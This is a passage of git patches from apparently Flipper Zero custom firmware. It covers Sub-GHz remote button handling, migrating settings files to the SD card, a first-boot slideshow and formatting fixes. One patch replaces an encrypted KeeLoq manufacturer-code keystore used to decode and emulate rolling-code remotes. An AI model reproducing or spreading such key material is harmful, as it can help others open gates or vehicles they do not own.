furi_string_get_cstr(app->back_file)); //variables to control multiple button presses and status updates app->send_status = "Idle"; @@ -975,8 +1013,28 @@ int32_t subghz_remote_app(void* p) { break; case InputKeyBack: - subghz_remote_tx_stop(app); - exit_loop = true; + if(app->back_enabled) { + if(app->processing == 0) { + if(input.type == InputTypeShort) { + furi_string_reset(app->signal); + furi_string_set(app->signal, app->back_file); + app->button = 6; + app->processing = 1; + break; + } else if(input.type == InputTypeLong) { + subghz_remote_tx_stop(app); + exit_loop = true; + } + } + } else { + subghz_remote_tx_stop(app); + exit_loop = true; + } + if(input.type == InputTypeRelease) { + if(app->back_enabled) { + subghz_remote_tx_stop(app); + } + } break; default: break; @@ -1008,6 +1066,9 @@ int32_t subghz_remote_app(void* p) { case 5: app->send_status_c = 5; break; + case 6: + app->send_status_c = 6; + break; } app->processing = 2; @@ -1049,7 +1110,9 @@ int32_t subghz_remote_app(void* p) { case InputKeyOk: break; case InputKeyBack: - exit_loop = true; + if(input.type == InputTypeLong) { + exit_loop = true; + } break; default: break; From 5facf6dc89c5e043290e3b407b61601b8e9b123f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 20:12:48 +0000 Subject: [PATCH 272/329] Move setting files to sd card --- .../airmouse/tracking/calibration_data.h | 2 +- applications/services/bt/bt_service/bt.c | 4 ++++ applications/services/bt/bt_service/bt_i.h | 3 ++- applications/services/bt/bt_settings.c | 16 +++++++++++-- .../services/desktop/desktop_settings.c | 22 ++++++++++++++++++ .../services/desktop/desktop_settings.h | 23 +++++-------------- .../services/dolphin/helpers/dolphin_state.c | 16 ++++++++++++- applications/services/power/power_settings.c | 22 ++++++++++++++++++ applications/services/power/power_settings.h | 11 ++++----- 9 files changed, 90 insertions(+), 29 deletions(-) create mode 100644 applications/services/desktop/desktop_settings.c create mode 100644 applications/services/power/power_settings.c diff --git a/applications/external/airmouse/tracking/calibration_data.h b/applications/external/airmouse/tracking/calibration_data.h index d47dab08d..7d240775a 100644 --- a/applications/external/airmouse/tracking/calibration_data.h +++ b/applications/external/airmouse/tracking/calibration_data.h @@ -8,7 +8,7 @@ #define CALIBRATION_DATA_VER (1) #define CALIBRATION_DATA_FILE_NAME ".calibration.data" -#define CALIBRATION_DATA_PATH INT_PATH(CALIBRATION_DATA_FILE_NAME) +#define CALIBRATION_DATA_PATH EXT_PATH(CALIBRATION_DATA_FILE_NAME) #define CALIBRATION_DATA_MAGIC (0x23) #define CALIBRATION_DATA_SAVE(x) \ diff --git a/applications/services/bt/bt_service/bt.c b/applications/services/bt/bt_service/bt.c index 31a43f637..e5f561ec6 100644 --- a/applications/services/bt/bt_service/bt.c +++ b/applications/services/bt/bt_service/bt.c @@ -126,6 +126,10 @@ Bt* bt_alloc() { bt_settings_save(&bt->bt_settings); } // Keys storage + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, BT_KEYS_STORAGE_OLD_PATH, BT_KEYS_STORAGE_PATH); + storage_common_remove(storage, BT_KEYS_STORAGE_OLD_PATH); + furi_record_close(RECORD_STORAGE); bt->keys_storage = bt_keys_storage_alloc(BT_KEYS_STORAGE_PATH); // Alloc queue bt->message_queue = furi_message_queue_alloc(8, sizeof(BtMessage)); diff --git a/applications/services/bt/bt_service/bt_i.h b/applications/services/bt/bt_service/bt_i.h index 41e5bcd8c..92656e791 100644 --- a/applications/services/bt/bt_service/bt_i.h +++ b/applications/services/bt/bt_service/bt_i.h @@ -20,7 +20,8 @@ #include "bt_keys_filename.h" -#define BT_KEYS_STORAGE_PATH INT_PATH(BT_KEYS_STORAGE_FILE_NAME) +#define BT_KEYS_STORAGE_OLD_PATH INT_PATH(BT_KEYS_STORAGE_FILE_NAME) +#define BT_KEYS_STORAGE_PATH EXT_PATH(BT_KEYS_STORAGE_FILE_NAME) #define BT_API_UNLOCK_EVENT (1UL << 0) diff --git a/applications/services/bt/bt_settings.c b/applications/services/bt/bt_settings.c index 1eaf6c7d7..e7fc65ad7 100644 --- a/applications/services/bt/bt_settings.c +++ b/applications/services/bt/bt_settings.c @@ -4,15 +4,27 @@ #include #include -#define BT_SETTINGS_PATH INT_PATH(BT_SETTINGS_FILE_NAME) +#define BT_SETTINGS_OLD_PATH INT_PATH(BT_SETTINGS_FILE_NAME) +#define BT_SETTINGS_PATH EXT_PATH(BT_SETTINGS_FILE_NAME) #define BT_SETTINGS_VERSION (0) #define BT_SETTINGS_MAGIC (0x19) bool bt_settings_load(BtSettings* bt_settings) { furi_assert(bt_settings); - return saved_struct_load( + bool ret = saved_struct_load( BT_SETTINGS_PATH, bt_settings, sizeof(BtSettings), BT_SETTINGS_MAGIC, BT_SETTINGS_VERSION); + + if(!ret) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, BT_SETTINGS_OLD_PATH, BT_SETTINGS_PATH); + storage_common_remove(storage, BT_SETTINGS_OLD_PATH); + furi_record_close(RECORD_STORAGE); + ret = saved_struct_load( + BT_SETTINGS_PATH, bt_settings, sizeof(BtSettings), BT_SETTINGS_MAGIC, BT_SETTINGS_VERSION); + } + + return ret; } bool bt_settings_save(BtSettings* bt_settings) { diff --git a/applications/services/desktop/desktop_settings.c b/applications/services/desktop/desktop_settings.c new file mode 100644 index 000000000..99e2371ab --- /dev/null +++ b/applications/services/desktop/desktop_settings.c @@ -0,0 +1,22 @@ +#include "desktop_settings.h" + +bool DESKTOP_SETTINGS_SAVE(DesktopSettings* x) { + return saved_struct_save( + DESKTOP_SETTINGS_PATH, x, sizeof(DesktopSettings), DESKTOP_SETTINGS_MAGIC, DESKTOP_SETTINGS_VER); +} + +bool DESKTOP_SETTINGS_LOAD(DesktopSettings* x) { + bool ret = saved_struct_load( + DESKTOP_SETTINGS_PATH, x, sizeof(DesktopSettings), DESKTOP_SETTINGS_MAGIC, DESKTOP_SETTINGS_VER); + + if(!ret) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, DESKTOP_SETTINGS_OLD_PATH, DESKTOP_SETTINGS_PATH); + storage_common_remove(storage, DESKTOP_SETTINGS_OLD_PATH); + furi_record_close(RECORD_STORAGE); + ret = saved_struct_load( + DESKTOP_SETTINGS_PATH, x, sizeof(DesktopSettings), DESKTOP_SETTINGS_MAGIC, DESKTOP_SETTINGS_VER); + } + + return ret; +} diff --git a/applications/services/desktop/desktop_settings.h b/applications/services/desktop/desktop_settings.h index 0019f1ef8..c915e466c 100644 --- a/applications/services/desktop/desktop_settings.h +++ b/applications/services/desktop/desktop_settings.h @@ -11,28 +11,13 @@ #define DESKTOP_SETTINGS_VER (7) -#define DESKTOP_SETTINGS_PATH INT_PATH(DESKTOP_SETTINGS_FILE_NAME) +#define DESKTOP_SETTINGS_OLD_PATH INT_PATH(DESKTOP_SETTINGS_FILE_NAME) +#define DESKTOP_SETTINGS_PATH EXT_PATH(DESKTOP_SETTINGS_FILE_NAME) #define DESKTOP_SETTINGS_MAGIC (0x17) #define PIN_MAX_LENGTH 12 #define DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG "run_pin_setup" -#define DESKTOP_SETTINGS_SAVE(x) \ - saved_struct_save( \ - DESKTOP_SETTINGS_PATH, \ - (x), \ - sizeof(DesktopSettings), \ - DESKTOP_SETTINGS_MAGIC, \ - DESKTOP_SETTINGS_VER) - -#define DESKTOP_SETTINGS_LOAD(x) \ - saved_struct_load( \ - DESKTOP_SETTINGS_PATH, \ - (x), \ - sizeof(DesktopSettings), \ - DESKTOP_SETTINGS_MAGIC, \ - DESKTOP_SETTINGS_VER) - #define MAX_PIN_SIZE 10 #define MIN_PIN_SIZE 4 #define MAX_APP_LENGTH 128 @@ -55,3 +40,7 @@ typedef struct { uint32_t auto_lock_delay_ms; bool auto_lock_with_pin; } DesktopSettings; + +bool DESKTOP_SETTINGS_SAVE(DesktopSettings* x); + +bool DESKTOP_SETTINGS_LOAD(DesktopSettings* x); diff --git a/applications/services/dolphin/helpers/dolphin_state.c b/applications/services/dolphin/helpers/dolphin_state.c index 31f9d4030..4ffaaa8ba 100644 --- a/applications/services/dolphin/helpers/dolphin_state.c +++ b/applications/services/dolphin/helpers/dolphin_state.c @@ -11,7 +11,8 @@ #define TAG "DolphinState" -#define DOLPHIN_STATE_PATH INT_PATH(DOLPHIN_STATE_FILE_NAME) +#define DOLPHIN_STATE_OLD_PATH INT_PATH(DOLPHIN_STATE_FILE_NAME) +#define DOLPHIN_STATE_PATH EXT_PATH(DOLPHIN_STATE_FILE_NAME) #define DOLPHIN_STATE_HEADER_MAGIC 0xD0 #define DOLPHIN_STATE_HEADER_VERSION 0x01 @@ -61,6 +62,19 @@ bool dolphin_state_load(DolphinState* dolphin_state) { DOLPHIN_STATE_HEADER_MAGIC, DOLPHIN_STATE_HEADER_VERSION); + if(!success) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, DOLPHIN_STATE_OLD_PATH, DOLPHIN_STATE_PATH); + storage_common_remove(storage, DOLPHIN_STATE_OLD_PATH); + furi_record_close(RECORD_STORAGE); + success = saved_struct_load( + DOLPHIN_STATE_PATH, + &dolphin_state->data, + sizeof(DolphinStoreData), + DOLPHIN_STATE_HEADER_MAGIC, + DOLPHIN_STATE_HEADER_VERSION); + } + if(success) { if((dolphin_state->data.butthurt > BUTTHURT_MAX) || (dolphin_state->data.butthurt < BUTTHURT_MIN)) { diff --git a/applications/services/power/power_settings.c b/applications/services/power/power_settings.c new file mode 100644 index 000000000..cd456a5a8 --- /dev/null +++ b/applications/services/power/power_settings.c @@ -0,0 +1,22 @@ +#include "power_settings.h" + +bool SAVE_POWER_SETTINGS(uint32_t* x) { + return saved_struct_save( + POWER_SETTINGS_PATH, x, sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER); +} + +bool LOAD_POWER_SETTINGS(uint32_t* x) { + bool ret = saved_struct_load( + POWER_SETTINGS_PATH, x, sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER); + + if(!ret) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, POWER_SETTINGS_OLD_PATH, POWER_SETTINGS_PATH); + storage_common_remove(storage, POWER_SETTINGS_OLD_PATH); + furi_record_close(RECORD_STORAGE); + ret = saved_struct_load( + POWER_SETTINGS_PATH, x, sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER); + } + + return ret; +} diff --git a/applications/services/power/power_settings.h b/applications/services/power/power_settings.h index 0f2afa295..7067521a3 100644 --- a/applications/services/power/power_settings.h +++ b/applications/services/power/power_settings.h @@ -4,13 +4,10 @@ #define POWER_SETTINGS_VER (1) -#define POWER_SETTINGS_PATH INT_PATH(POWER_SETTINGS_FILE_NAME) +#define POWER_SETTINGS_OLD_PATH INT_PATH(POWER_SETTINGS_FILE_NAME) +#define POWER_SETTINGS_PATH EXT_PATH(POWER_SETTINGS_FILE_NAME) #define POWER_SETTINGS_MAGIC (0x21) -#define SAVE_POWER_SETTINGS(x) \ - saved_struct_save( \ - POWER_SETTINGS_PATH, (x), sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER) +bool SAVE_POWER_SETTINGS(uint32_t* x); -#define LOAD_POWER_SETTINGS(x) \ - saved_struct_load( \ - POWER_SETTINGS_PATH, (x), sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER) +bool LOAD_POWER_SETTINGS(uint32_t* x); From 921143fa7ba80c4901e70a12d998762a08a3f8d6 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 22:30:50 +0000 Subject: [PATCH 273/329] Add support for first xfw boot slideshow --- applications/services/xtreme/settings.c | 3 +++ .../system/updater/util/update_task_worker_backup.c | 11 ++++++++++- scripts/update.py | 7 +++++++ 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/applications/services/xtreme/settings.c b/applications/services/xtreme/settings.c index 44ad2a1d5..292d2880b 100644 --- a/applications/services/xtreme/settings.c +++ b/applications/services/xtreme/settings.c @@ -55,6 +55,9 @@ void XTREME_SETTINGS_LOAD() { xtreme_settings->bad_bt_remember = false; // OFF xtreme_settings->butthurt_timer = 43200; // 12 H xtreme_settings->rgb_backlight = false; // OFF + if(!skip) { + XTREME_SETTINGS_SAVE(); + } } } } diff --git a/applications/system/updater/util/update_task_worker_backup.c b/applications/system/updater/util/update_task_worker_backup.c index f2c33c2ed..5beeb36ec 100644 --- a/applications/system/updater/util/update_task_worker_backup.c +++ b/applications/system/updater/util/update_task_worker_backup.c @@ -12,6 +12,7 @@ #include #include #include +#include #define TAG "UpdWorkerBackup" @@ -197,7 +198,15 @@ static bool update_task_post_update(UpdateTask* update_task) { update_task_set_progress(update_task, UpdateTaskStageSplashscreenInstall, 0); FuriString* tmp_path; tmp_path = furi_string_alloc_set(update_task->update_path); - path_append(tmp_path, furi_string_get_cstr(update_task->manifest->splash_file)); + if(storage_common_stat(update_task->storage, XTREME_SETTINGS_PATH, NULL) == FSE_NOT_EXIST) { + path_append(tmp_path, "xfwfirstboot.bin"); + if(storage_common_stat(update_task->storage, furi_string_get_cstr(tmp_path), NULL) != FSE_OK) { + furi_string_set(tmp_path, update_task->update_path); + path_append(tmp_path, furi_string_get_cstr(update_task->manifest->splash_file)); + } + } else { + path_append(tmp_path, furi_string_get_cstr(update_task->manifest->splash_file)); + } if(storage_common_copy( update_task->storage, furi_string_get_cstr(tmp_path), diff --git a/scripts/update.py b/scripts/update.py index 2b0157260..916bf40ce 100755 --- a/scripts/update.py +++ b/scripts/update.py @@ -10,6 +10,7 @@ import shutil import zlib import tarfile import math +import pathlib from slideshow import Main as SlideshowMain @@ -137,6 +138,12 @@ class Main(App): return 2 if self.args.splash: + SlideshowMain(no_exit=True)([ + "-i", + str(pathlib.Path(self.args.splash).parent / "xfwfirstboot"), + "-o", + join(self.args.directory, "xfwfirstboot.bin"), + ]) splash_args = [ "-i", self.args.splash, From 001e00d84a826512bab69fd43a2564bec72c0316 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 26 Mar 2023 14:59:21 +0300 Subject: [PATCH 274/329] fbt format, aprimatic fixes --- .../external/pocsag_pager/protocols/pocsag.c | 3 +- .../totp_scene_generate_token.c | 7 +- applications/main/fap_loader/fap_loader_app.c | 11 +- assets/resources/subghz/assets/keeloq_mfcodes | 110 +++++++++--------- .../subghz/assets/setting_user.example | 2 +- .../targets/f7/furi_hal/furi_hal_subghz.c | 4 +- 6 files changed, 73 insertions(+), 64 deletions(-) diff --git a/applications/external/pocsag_pager/protocols/pocsag.c b/applications/external/pocsag_pager/protocols/pocsag.c index cc393ac5b..0296a70a7 100644 --- a/applications/external/pocsag_pager/protocols/pocsag.c +++ b/applications/external/pocsag_pager/protocols/pocsag.c @@ -157,8 +157,7 @@ static bool pocsag_decode_message_word(SubGhzProtocolDecoderPocsag* instance, ui // Function called when current message got decoded, but other messages might follow static void pocsag_message_done(SubGhzProtocolDecoderPocsag* instance) { // append the message to the long-term storage string - furi_string_printf( - instance->generic.result_ric, "\e#RIC: %" PRIu32 "\e# | ", instance->ric); + furi_string_printf(instance->generic.result_ric, "\e#RIC: %" PRIu32 "\e# | ", instance->ric); furi_string_cat_str(instance->generic.result_ric, func_msg[instance->func]); if(instance->func != POCSAG_FUNC_ALERT1) { furi_string_cat(instance->done_msg, instance->msg); diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c index 9e8b21d09..a8e93bbff 100644 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c @@ -373,7 +373,8 @@ bool totp_scene_generate_token_handle_event( SceneState* scene_state; if(event->input.type == InputTypeLong) { - if(event->input.key == InputKeyDown && plugin_state->automation_method & AutomationMethodBadUsb) { + if(event->input.key == InputKeyDown && + plugin_state->automation_method & AutomationMethodBadUsb) { scene_state = (SceneState*)plugin_state->current_scene_state; totp_usb_type_code_worker_notify( scene_state->usb_type_code_worker_context, TotpUsbTypeCodeWorkerEventType); @@ -383,7 +384,9 @@ bool totp_scene_generate_token_handle_event( return true; } #ifdef TOTP_BADBT_TYPE_ENABLED - else if(event->input.key == InputKeyUp && plugin_state->automation_method & AutomationMethodBadBt) { + else if( + event->input.key == InputKeyUp && + plugin_state->automation_method & AutomationMethodBadBt) { scene_state = (SceneState*)plugin_state->current_scene_state; totp_bt_type_code_worker_notify( plugin_state->bt_type_code_worker_context, TotpBtTypeCodeWorkerEventType); diff --git a/applications/main/fap_loader/fap_loader_app.c b/applications/main/fap_loader/fap_loader_app.c index d85eb784b..f4f2550da 100644 --- a/applications/main/fap_loader/fap_loader_app.c +++ b/applications/main/fap_loader/fap_loader_app.c @@ -86,9 +86,16 @@ static bool fap_loader_run_selected_app(FapLoader* loader, bool ignore_mismatch) if(preload_res == FlipperApplicationPreloadStatusApiMismatch) { if(!ignore_mismatch) { DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header(message, "API Mismatch", 64, 0, AlignCenter, AlignTop); + dialog_message_set_header( + message, "API Mismatch", 64, 0, AlignCenter, AlignTop); dialog_message_set_buttons(message, "Cancel", NULL, "Continue"); - dialog_message_set_text(message, "This app might not\nwork correctly\nContinue anyways?", 64, 32, AlignCenter, AlignCenter); + dialog_message_set_text( + message, + "This app might not\nwork correctly\nContinue anyways?", + 64, + 32, + AlignCenter, + AlignCenter); if(dialog_message_show(loader->dialogs, message) == DialogMessageButtonRight) { retry = true; } diff --git a/assets/resources/subghz/assets/keeloq_mfcodes b/assets/resources/subghz/assets/keeloq_mfcodes index cb80c2e2e..e65eb0868 100644 --- a/assets/resources/subghz/assets/keeloq_mfcodes +++ b/assets/resources/subghz/assets/keeloq_mfcodes @@ -1,58 +1,58 @@ Filetype: Flipper SubGhz Keystore File Version: 0 Encryption: 1 -IV: AB 0B A1 23 45 FE E7 06 66 73 21 67 97 12 3D 61 -CA9DC3E30069ED9C257FCA6747136F617F4E390F2B8BDDFDEBEC8A398A6A0C1E -78F18401572E33117850EA83D00C2F92376E88D7CAC0BF7CBA7037BF6755F43C -909055FF43224057BCE5F965174AF46586EB7CA4CAE1B3EB8B66EA569047948A -AB9B7D338457774713147BF666A5996926B90146CB698AC2F4DE63ADE89D84BB -ED796AED9BB3185ACD94779F7CC42665D4A3B04419E4272B77DA8D94B5CF84921889CEB110AB55D7267720A7C5B290EF -88E0CECA92549C73981F95999FA8F03B1B2EB98774134752556D7D7EFA802757 -C42CABAD74010E35726659C8E4AF4888282FBEA9703616B3403DA7C3DCA8A8ED -6F44BC56AC2E9883A2469C1909D171A8C58A0CFE4B506CC562EB2F08A484AE1B -65DEBEBC629FA3CE72B5028E1E385DFFEE0A9FE227FC5F6DD4368C0CB1886A7D -EA9BDC762FCBAAA11A4BE677AE344993990153C9E7A4A89F8271F49765FC72EF -8FAE9AC3033E637703626956F91791DAE4B3BEA9C82C065C91A314DDB647F8FE661750526E58C613000260675C2B520C -3D853DEC62375B3201B1C2269E31794A3C29958B191953A331D39675CCB53C002EF1491B63C49E629AF5D747CC52BD11 -61A02BB85B08AA8047EAD9FB80D489AB15CBE0302C660891C4B29D2621C80DBB -5230A9651D1A0910695593E1A5F6EA6EB21990D6465E52B325CF141C9E0C9172 -C9348D18DC019C3E364F7AD9CD5B6D77EE2D6486CFBDFAFE7042AB917E8FFE7C -DED385BBAC8FAB5918DBDBDC8622850048A540963AF35C3DD772926927B148C2 -E1EC13990BDA8E22F2848F97069462FB46840FEA688C52EDE930CD22C4E6F445BF317A96C4A6C2DC4295B2E3E86053B9 -D5453884C337587A13117F35219C7B4356E8E63EBC4C197CC1633D444D0A6AD0 -72C3E291DA11AD3D195C6A1B65849B0C91B7D18762B515A5728389356C42B62C -0E9EA0D97053752977D83A019A2F0393D326407AE507F5EE6E650082DBC683F81BDD71B79BE81EEB3139815377577346 -A32FF38450B3121CB01CE06AA369DC7B883CD9B1695CBADBC9609F009D6BFF7B7518D9DD690D214A1DB0D1A0C6F9FC3F -98848EFBB09D2A3EA59EE91B1B510BA3775E36B14500DE1238317AFC9872358F -E8B2785366399F84EADF07B0E299603BB885780E6ECA883508FFB7664C6473FE -1F6CEA6696B2E07FEB256506609D7E11D9F09F18B9EE43DE9BC42014ABF5213F -F2FF5045A5E90AAF92C2ECCB9FEFFBDE400A7E3E6B09CF43608896F7BC91736F -73CC30A78808BB2B3F7F398D88C79470AF86B825DE0C2FF31442D351C2826D9C -B68FD5017BA4809AD22DF64805DCE329A81C2CE3F7BE87FADFBD02211AB02321 -57BC2E14A724D6E2F4B0FD9401C3E6E5117D338077958648A558E40C553C787F -882A41BC36393F06C57ED71E66D003E24B5DAE86F90D8AEDD89A2DFED6719BF1 -95EDC3C3EB639AC66656B58D8F71A5B1B329002C4CCF7666C41C717A939C0979 -494A32528A68F5B4DF45385CC7FB470224F25D8AC9C81AB0DBD291AA4764BB17 -9A6D21675317433CE6EE860C9A2713265E1DA5E8F4024690252971EA5C2A566A -2B8379BCDDD0E6F73B1AD2D5A4D69D34D0013E98C87AD2BCE7AEED80F3BF4F69 -6E5D67B8B825943F9B9979D5E1EA9348B1DD40A5DA39B20FA96B78CAD3E03747 -27559A18DD6D52FFED8427376113C1A35840D64A53466071E1B769A28F161A99 -A2F38E38C253947816B5E629AAC02BC77EF7B56CC95FBF291C05466C56E01E47FE92053C900C0F6F98B11D7873BB9AFC -8A7E57E1228F75F78D51C13FE79C269E43F007E55F5B87741BCADDAAA6402DF7 -E088817700DBC7D778427464368D7771E3C20194CE60D08668578CAA527258B8 -3E5AD04DE23578A3BBC5FB91608435EBA1FF1465EDCE3E064F60A2EED35C9015 -647C9BFB61C0509D152A7B6B5C548DC558052F862314B42F4D1D8B98F6BF2412 -3D659FF6999401CAB590681036C3FDABAF157C774928E0D7D76FAC08AA6CFE93 -342362E28923E64DC5047E25E5A2F3FC8A6EB63554793CB8A1C99FFE632A370508CA208CA912470DB343A1636C751B9E -3B71D04AB09DFB44015F5553B4B76C9419C4D615F60184BA0B6A5687E47D66BA -14CF7621A4943DE2156AB8FDE8A9E74D26776D8362D9364387626488CB3DA5DC -2F9205BF8B310C33E38F571FFBDF6FC4BA5135457A2CF6CA9CD319F3EDF4BF6E -785EDF05A2111B8E4A126BE274C9BD8D6C0482F4A2B716FFAE93EDB8D1634F41 -4B26880D1AE8EC1D285296F473EB5A805CF1C1EA47B899A6A3F8E9EFDB2CBCA3 -A002B3ED0D1FCBC02298BFE7F18207CD58AB21D358F20855D067939EF50DCC08 -BE82806DE526A6453C6FA309DAE0B52D67A98A194753DD4CC2C8C196A47B253F60149FAF49D0396E1F24CB1EDF1430DA -031686817FB37936FD0313B9358FD35BAF5DEB924F7A939C4B843DD095F11806 -3A7B7A7AE8723C2A060FF368AB048A48737D4EEAD3C97BF98BC9E8CAE552431B -357C4A1A41F43100208863F2E607AE14CC55235D757CDE5C491BE405BB72BDB4 -0C46E442B9AC3C479C18D4D94AB3E5124D4033AFD05AE00AC6881DD62F11E07F -8705CF1D9B202056CEBD98FF25CB0B6BF40175DBDC2FE86FE2A7D2AC796F818EA71A8C1312E9C7FCE6CC3D11FBBA98E4 +IV: AF 0B A3 13 56 FA F7 46 76 78 25 28 34 16 3D 62 +77995F096640A6CA8735DE839975FA3573145DDB995E45F58AECCD6A6F2D6FCB +A062DD58F9957EC098075344DFF69FB3B2A3C9893D4240C74BE32299F330290B +2AD2CCC4FB760D772001A903A995435260F442152BDCD5B075FBC61015BEC7E1 +34AE78CF87A10211C8E6F6E2EE18C4F0BBE3B677094B7118E03AD9E89AF70E28 +41943E7507D37A344F56EDF4BBDCDA75FAA10A6E97DF801ACF2A0E97E41782053CA74E31E3488EA1AFE29369E7A542C7 +9FA67B118BC1FE289F38A78DA4E1FFBAEB4498404B49CBD9690B9421FC05564D +3A872E97A668C644D3827273ADDA6B1BC689A3AD09F5980EC7461E40624653BE +5E1F4D865E5F4176DBF7832992B60947812E05701E647CF36427C2EE04F97FE2 +7FCF6E437D0DA231A2937C46622C4939F0045AEF5CF7FCF5D97E24B67995F0D3 +D09F230FEDB9CB690B5AC7C6BCE86B0779D9C233D2823562EABE340FF06C819D +84F0A81ABB7857438BF52BE8988C1A471EFEDFE16EC11851BFC39F34EB26236F318CFAAEC9A53AD5500D48CAE21E777A +F3FDDDD5DB6038D0E2FC02750530325976ADA2600DE19BF736AF6CB7E810D7627B4F396963F0288F486182228B9AAE22 +87E07B23B3B2740D93C82696C020057CC7F3864ABD6E6967656F44427C529DD1 +20C35809F7F5161C21E643A606DC48A5CC85BCEB546A03023DF778C4499426E3 +81CCF1CA68E2B6663DA9D12FEE241307A2E449440901793A955CB5D5915819DD +1B66D0664451153D0124364834E1543960A756351330523C3FFE83DA4EE7F0E6 +7025D550A40466B472BA71F3248C37E6DE1FD59ED5C11CBB26238795DD44F4B21BD447F3CA72AED6A25B977982100A1E +99F38C3F7C89D2805FB36F931AC5D1B248A56838AC29E13B1255CAE706B68216 +D138C616E4E1F6053177118C94F65C0BA6B155286CE63E0728E3F2D2BF6C6A98 +276E646DBF54B341F93AB4E1C36525AF983879F7251D84BB02DD54F4A5E0FA85A3278891F7ADA9ADE2F8AAD010F6F6D4 +3F3598143FE40E04FE25EADE1EC2B4CDAE339AF7730AE9DC45C97C0E44B299DBCC0E9DA6F4B0EE00F25D2FDD9E1C6BF5 +20FA8F62628FEA51A584CE298F22E60FF85BFE193AF1C5DE57605FF02E90739C +B14B4896088EF58E0CE659511C93782FB5F94BC69B64E5011EBD10DF18FFB3B1 +90BBE045FFEA06A77B55B0B6D0CFA8F12C4E1B35FB0111DD0C2CF1637AE8924A +04B87BC1D09E8EE3C8A91CE75169546D37868B2D87BF2D712623F84937ACE974 +B8C5B04070FFB27B4686057C57F762FA3CAF2BBD3E5BEBE462C1C2FC283AE118 +A40B154CEC2F5F989CA6F30703A0133217530D41F12739B25E2C1BEF54E6AC7C +4F5B9A68E8DEDB00410F5AD7FB7F7CA8F43B75F0457DA2AFAA8279A8C4AF34AB +9A7B185F6A157B1886DC6AA98B1F3D6899331D8BDDBAAC9620321E16BB4CC7E8 +4A710E11F1C7A7138065801BDB4E72B07608220BBCF7455111FDD41DC0290B94 +3A5B715089F926049077172755B0C48B4A4420031787D7DB113CF402C7D3D0AE +EE0B90EC27EC0F4A8DCD3C747E17594E0A27A92E05F2DE7B0457873C7154E075 +0B9B201C209072676A47225BE4E43B4631B080A85F9FCFAA5683A4F9A727187A +13A15C606AA2EA40F2DCDE7F44217F02D2D9796CAC9164100B211D7A22CF333B +DF5292BBF35AB1408956D439A81EF12F53573F985489727A10FB652B7BD8B10D +50E59C9DD3A08EA8752656B753B8D9D2BFD674EB4C5F0DCAE9870E81D7F00F6AAC133FA7C7307FA197D551EE877F8CD7 +E173C1798596A31F697D63E0CCDDFAB14B1B1E299DD642102A7858ECC795CF1B +92D3326A93AA6B37041F219C8035F37A057C1B69BECA7881098BED2A49C58751 +27D17F007115734FA0F55F2BDF016ECE8DFA703FA6D61729456E95B78FC8AC29 +4FF7306A426B7DE021D59968FAEF3453F555A9A952D81C4008D5000513799DEA +660CB0D4634EABC6CAA9E321CB08FC0C8C8F6BAE0FAF0C10C1FCCBA93B68D9B4 +86D84C91BFBF0DE22088C0F5A8598A2C2807033E60BC11333E8D1A6188F043D5 +F3E0E8566E12ADBA44974A3CA1D6D60456649031DCAD4365D0AE80FEDBC80AAA106A9BAB39448CD62EF916A59ECA9579 +F4D6EB6D241B17CA0A9E73E93DA3B58B6B257CC0484FC92E285984A09FD4CEA9 +094265CB574E0C9B8954B3130A2017492B1149C3FB9239A6B690A9C7B6635E5A +BE67B61B2F99BAA4AF94B71CB5F2386417D5F3B187899222D2671B1147BA9932 +74840B34C9F27A76FCB593629C8114BCABD1B1CE96E22CC378DC9E7BEEF263FB +2511F44F0A13D94B55D7FF3297194E47D6987890F9170BCBC14A7607C5A38E01 +FD0CF9314CB9B949CEFE1DA3FA05A18FBEEF751B4DC900DBAE068EE211C4492C +22ECD6934472760CF806E7C9E86885D0C0AAE501EDBF9DCB7ADC7AE53F3B73C38F2B6FB3FD0F867C5B5BFD00440CB43A +325CA78241AE4EE784CC867815403E342F77BB428EB1FE189AD569F10170CB98 +BF065D29EC8E2BB411F0131DF3A06BDF07B1436A14004D0E11E1261F0E232CB8 +CE015802FCE9AFD9807F855D813FD06D5446A8953057A79BC4A452BDAB8E9DD7 +C6B569EB172EC4609966E2C9426BE99A86529073A57824B1752392658C4E87F08ED8675A32F44E413CD6037CA4A0DE71 diff --git a/assets/resources/subghz/assets/setting_user.example b/assets/resources/subghz/assets/setting_user.example index e0c474a99..5034659be 100644 --- a/assets/resources/subghz/assets/setting_user.example +++ b/assets/resources/subghz/assets/setting_user.example @@ -1,7 +1,7 @@ # to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user Filetype: Flipper SubGhz Setting File Version: 1 -# Add Standard frequencies for your region +# Add Standard frequencies included with firmware and place user frequencies after them #Add_standard_frequencies: true # Default Frequency: used as default for "Read" and "Read Raw" diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 989f97698..ed9864ae9 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -119,7 +119,7 @@ bool furi_hal_subghz_check_radio(void) { if((ver != 0) && (ver != 255)) { FURI_LOG_D(TAG, "Radio check ok"); } else { - 